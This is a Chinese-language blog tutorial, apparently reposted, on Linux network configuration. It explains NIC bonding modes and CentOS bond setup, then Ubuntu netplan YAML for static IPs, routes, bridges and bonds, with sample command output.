建議 CentOS 6 關閉 NetworkManager 服務
網卡別名必須使用靜態地址

5.7 多網卡bonding

將多塊網卡系結同一IP地址對外提供服務,可以實作高可用或者負載均衡,直接給兩塊網卡設定同一IP
地址是不可以的,通過 bonding,虛擬一塊網卡對外提供連接,物理網卡的被修改為相同的MAC地址

5.7.1 Bonding 聚合鏈路作業模式

bond聚合鏈路模式共7種模式:0-6 Mode

  • mod=0 ,即:(balance-rr) Round-robin policy(輪詢)聚合口資料報文按包輪詢從物理介面轉發,
    負載均衡—所有鏈路處于負載均衡狀態,輪詢方式往每條鏈路發送報文這模式的特點增加了帶寬,同時支持容錯能力,當有鏈路出問題,會把流量切換到正常的鏈路上,
    性能問題—一個連接或者會話的資料包如果從不同的介面發出的話,中途再經過不同的鏈路,在客戶端很有可能會出現資料包無序到達的問題,而無序到達的資料包需要重新要求被發送,這樣網路的吞吐量就會下降,Bond0在大壓力的網路傳輸下,性能增長的并不是很理想,
    需要交換機進行埠系結

  • mod=1,即: (active-backup) Active-backup policy(主-備份策略)只有Active狀態的物理介面才轉發資料報文,
    容錯能力—只有一個slave是激活的(active),也就是說同一時刻只有一個網卡處于作業狀態,其他的slave都處于備份狀態,只有在當前激活的slave故障后才有可能會變為激活的(active),
    無負載均衡—此演算法的優點是可以提供高網路連接的可用性,但是它的資源利用率較低,只有一個介面處于作業狀態,在有 N 個網路介面的情況下,資源利用率為1/N,

  • mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口資料報文按源目MAC、源目IP、源目埠進行異或HASH運算得到一個值,根據該值查找介面轉發資料報文
    負載均衡—基于指定的傳輸HASH策略傳輸資料包,
    容錯能力—這模式的特點增加了帶寬,同時支持容錯能力,當有鏈路出問題,會把流量切換到正常的鏈路上,
    需要交換機配置為port channel

  • mod=3,即:broadcast(廣播策略)這種模式的特點是一個報文會復制兩份往bond下的兩個介面分別發送出去,當有對端交換機失效,感覺不到任何downtime,但此法過于浪費資源;不過這種模式有很好的容錯機制,此模式適用于金融行業,因為他們需要高可靠性的網路,不允許出現任何問題,

  • mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 動態鏈接聚
    合)在動態聚合模式下,聚合組內的成員埠上均啟用LACP(鏈路匯聚控制協議)協議,其埠狀態通過該協議自動進行維護,
    負載均衡—基于指定的傳輸HASH策略傳輸資料包,默認演算法與blance-xor一樣,
    容錯能力—這模式的特點增加了帶寬,同時支持容錯能力,當有鏈路出問題,會把流量切換到正常的鏈路上,對比blance-xor,這種模式定期發送LACPDU報文維護鏈路聚合狀態,保證鏈路質量,
    需要交換機支持LACP協議

  • mod=5,即:(balance-tlb) Adaptive transmit load balancing(配接器傳輸負載均衡)
    在每個物理介面上根據當前的負載(根據速度計算)分配外出流量,如果正在接收資料的物理介面口出故障了,另一個物理介面接管該故障物理口的MAC地址,
    需要ethtool支持獲取每個slave的速率

  • mod=6,即:(balance-alb) Adaptive load balancing(配接器適應性負載均衡)
    該模式包含了balance-tlb模式,同時加上針對IPV4流量的接收負載均衡,而且不需要任何
    switch(交換機)的支持,接收負載均衡是通過ARP協商實作的,bonding驅動截獲本機發送的ARP應答,并把源硬體地址改寫為bond中某個物理介面的唯一硬體地址,從而使得不同的對端使用不同的硬體地址進行通信,

mod=6與mod=0的區別:mod=6,先把eth0流量占滿,再占eth1,….ethX;而mod=0的話,會發現2個口的流量都很穩定,基本一樣的帶寬,而mod=6,會發現第一個口流量很高,第2個口只占了小部分流量

說明:

常用的模式為 0,1,3,6
mode 1、5、6 不需要交換機設定
mode 0、2、3、4需要交換機設定
active-backup、balance-tlb 和 balance-alb 模式不需要交換機的任何特殊配置,其他系結模式需
要配置交換機以便整合鏈接,如:Cisco 交換機需要在模式 0、2 和 3 中使用 EtherChannel,但在模
式4中需要 LACP和 EtherChannel

5.7.2 Bonding 配置

詳細幫助

/usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt

創建bonding設備的組態檔

/etc/sysconfig/network-scripts/ifcfg-bond0
    NAME=bond0
    TYPE=bond
    DEVICE=bond0
    BOOTPROTO=none
    IPADDR=10.0.0.100
    PREFIX=8
    #miimon指定鏈路監測時間間隔,如果miimon=100,那么系統每100ms 監測一次鏈路連接狀態,如果有一
    條線路不通就轉入另一條線路
    BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"

/etc/sysconfig/network-scripts/ifcfg-eth0
    NAME=eth0
    DEVICE=eth0
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes
/etc/sysconfig/network-scripts/ifcfg-eth1
    NAME=eth1
    DEVICE=eth1
    BOOTPROTO=none
    MASTER=bond0
    SLAVE=yes
    ONBOOT=yes

查看bond0狀態
/proc/net/bonding/bond0

洗掉bond0
ifconfig bond0 down
rmmod bonding

三、ubuntu網路配置

1.網卡名稱修改

ubuntu修改網卡名稱:

#修改組態檔為下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#' /etc/default/grub
root@maple-u18:~# grub-mkconfig -o /boot/grub/grub.cfg ;reboot

2. 配置靜態IP

ubuntu在18.04版本中的網路配置已經由
/etc/network/interfaces 換成了/etc/netplan/*.yaml組態檔了,
網卡組態檔采用YAML格式,必須以 /etc/netplan/XXX.yaml 檔案命名方式存放
yml后綴不可以,
可以每個網卡對應一個單獨的組態檔,也可以將所有網卡都放在一個組態檔里

root@ubuntu1804:~# vim /etc/network/interfaces
# ifupdown has been replaced by netplan(5) on this system.  See
# /etc/netplan for current configuration.
# To re-enable ifupdown on this system, you can run:
#    sudo apt install ifupdown

范例

vim /etc/netplan/01-netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      addresses: [10.0.0.151/24,1.1.1.1/32] #和下面方式不能混合用
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2

注意:地址一項必須加中括號,即使只有一個地址,

生效

netplan apply #加載網卡組態檔
ip a #查看地址是否生效
route -n  #查看網關是否生效
cat /etc/resolv.conf  #僅有search加到組態檔中了,dns沒看到,
ll /etc/resolv.conf   #可以看到在ubuntu中resolv檔案由systemd統一管理了,
systemd-resolv --status  #可以看到配置的DNS,
# resolvectl status Ubuntu 20.04新命令

search的作用
當只ping主機名時,自動補全后面的域名,
例:網卡組態檔里已經配置了search

vim /etc/host
127.0.0.1       localhost www.maple.com

root@ubuntu1804:/etc/netplan# ping www
PING www.maple.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.009 ms

3. 配置自動獲取IP

vim /etc/netplan/01-netcfg.yaml
network:
version: 2
renderer: networkd
ethernets:
 eth0:
  dhcp4: yes

4. 配置多?卡靜態IP和靜態路由

mv eth0.yaml netcfg.yaml
vim netcfg.yaml 
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
      addresses:
        - 10.0.0.151/24
        - 1.1.1.1/32
      nameservers:
        search: [maple.com,maple.org]
        addresses:
          - 114.114.114.114
          - 8.8.8.8
      gateway4: 10.0.0.2
    eth1:
      dhcp4: no
      dhcp6: no
      addresses: [10.20.0.100/24]
      nameservers:
        addresses: [223.6.6.6]
      routes:
        - to: 10.30.0.0/24   #去往該網段的路由
          via: 10.20.0.1     #下一跳為10.20.0.1
        - to: 10.40.0.0/24
          via: 10.20.0.1
        - to: 10.50.0.0/24
          via: 10.20.0.1
        - to: 10.60.0.0/24
          via: 10.20.0.1

   73  history 
root@ubuntu1804:/etc/netplan# !70
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet 1.1.1.1/32 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
    inet 10.20.0.100/24 brd 10.20.0.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fead:3d87/64 scope link 
       valid_lft forever preferred_lft forever
root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 eth0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 eth0
10.20.0.0       0.0.0.0         255.255.255.0   U     0      0        0 eth1
10.30.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.40.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.50.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1
10.60.0.0       10.20.0.1       255.255.255.0   UG    0      0        0 eth1                    

5. 配置單網橋連接:

三個網卡在一個組態檔里

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

也可以一個網卡一個組態檔,網橋配置單獨抽離出組態檔

netcfg.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: yes

br0.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    eth1:
      dhcp4: no
      dhcp6: no
    eth2:
      dhcp4: no
      dhcp6: no
  bridges:
    br0:
      dhcp4: no
      dhcp6: no
      addresses: [10.0.0.161/24]
      nameservers:
        addresses: [114.114.114.114,8.8.8.8]
      gateway4: 10.0.0.2
      interfaces:
        - eth1
        - eth2

root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:7d brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global dynamic eth0
       valid_lft 1634sec preferred_lft 1634sec
    inet6 fe80::20c:29ff:fead:3d7d/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:87 brd ff:ff:ff:ff:ff:ff
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
    link/ether 00:0c:29:ad:3d:91 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.161/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

br0將eth1和eth2連接到自身,和eth1和eth2網路在同一網段的能夠相互通信,
我這里的IP分配的稍微有問題,eth0的dhcp地址池分配的ip也是10網段的了,導致路由表里面有10網段的路由有兩條記錄
并且我宿主機10.0.0.1ssh連不上 10.0.0.151eth0介面了,
在主機里面加一條主機路由到宿主機即可ssh
route add -host 10.0.0.1/32 dev eth0

配置多網橋同樣配置,在bridges下加個br1即可,

6. 配置多網卡系結-鏈路聚合

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      parameters:
        mode: active-backup
        mii-monitor-interval: 100

ping測驗,當斷掉其中一個網卡時,能夠正常ping通,當兩個網卡都斷掉之后,網路斷開,重新接入網卡,網路恢復正常

7. 雙?卡系結+橋接

將做了網卡系結的bond在橋接在網橋上,

network:
  version: 2
  renderer: networkd
  ethernets:
    eth0:
      dhcp4: no
      dhcp6: no
    eth1:
      dhcp4: no
      dhcp6: no
  bonds:
    bond0:
      interfaces:
        - eth0
        - eth1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
  bridges:
    br0:
      addresses: [10.0.0.151/24]
      gateway4: 10.0.0.2
      nameservers:
        addresses: [223.6.6.6,114.114.114.114]
      interfaces:
        - bond0

root@ubuntu1804:/etc/netplan# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.0.2        0.0.0.0         UG    0      0        0 br0
10.0.0.0        0.0.0.0         255.255.255.0   U     0      0        0 br0
root@ubuntu1804:/etc/netplan# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,SLAVE,UP,LOWER_UP> mtu 1500 qdisc fq_codel master bond0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
4: bond0: <BROADCAST,MULTICAST,MASTER,UP,LOWER_UP> mtu 1500 qdisc noqueue master br0 state UP group default qlen 1000
    link/ether 2a:9d:8d:39:0d:c3 brd ff:ff:ff:ff:ff:ff
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 82:0c:13:fb:65:26 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.151/24 brd 10.0.0.255 scope global br0
       valid_lft forever preferred_lft forever
    inet6 fe80::800c:13ff:fefb:6526/64 scope link 
       valid_lft forever preferred_lft forever

網卡的多組系結:同理,配置多個bond,每個bond系結多個網卡

多網卡系結+多橋接:將多個bond根據業務需求接到不同的網橋,實作業務互通和隔離,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/277780.html

標籤:其他

上一篇:Web 進階——Apache(一)

下一篇:Linux基礎

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more